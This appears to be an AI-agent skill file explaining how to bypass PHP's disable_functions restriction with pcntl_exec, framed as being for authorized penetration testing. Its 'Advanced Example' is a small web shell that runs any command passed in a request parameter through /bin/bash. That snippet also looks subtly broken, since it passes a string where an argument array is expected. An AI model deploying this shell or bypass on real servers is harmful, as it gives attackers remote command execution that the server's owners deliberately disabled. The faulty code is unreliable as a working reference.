PHP Pcntl Exec Bypass

PHP pcntl_exec Bypass for Disabled Functions

This skill helps you bypass disable_functions restrictions in PHP 4 >= 4.2.0 and PHP 5 using the pcntl_exec function.

When to Use

• Testing PHP applications for command execution vulnerabilities
• Analyzing disable_functions configurations
• When standard PHP functions (exec, system, shell_exec, etc.) are blocked
• Security assessments and penetration testing (authorized only)

Prerequisites

• PHP 4 >= 4.2.0 or PHP 5
• pcntl extension must be enabled
• pcntl_exec must not be in disable_functions

Basic Usage

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';

$arg = array($cmd, $option, $dir);

pcntl_exec($pathtobin, $arg);
echo '123';
?>

Key Points

1. pcntl_exec replaces the current process with a new one
2. Code after pcntl_exec will not execute
3. The function takes a binary path and an array of arguments
4. Useful when other execution functions are disabled

Advanced Example

<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
    $cmd = $cmd."&pkill -9 bash >out";
    pcntl_exec("/bin/bash", $cmd);
    echo file_get_contents("out");
} else {
    echo 'pcntl extension not available';
}
?>

Security Considerations

• Only use in authorized security testing
• Document findings properly
• Report vulnerabilities to system owners
• Never use for malicious purposes

References

• Safebuff Blog - disable_functions bypass
• PHP pcntl documentation
• OWASP Command Injection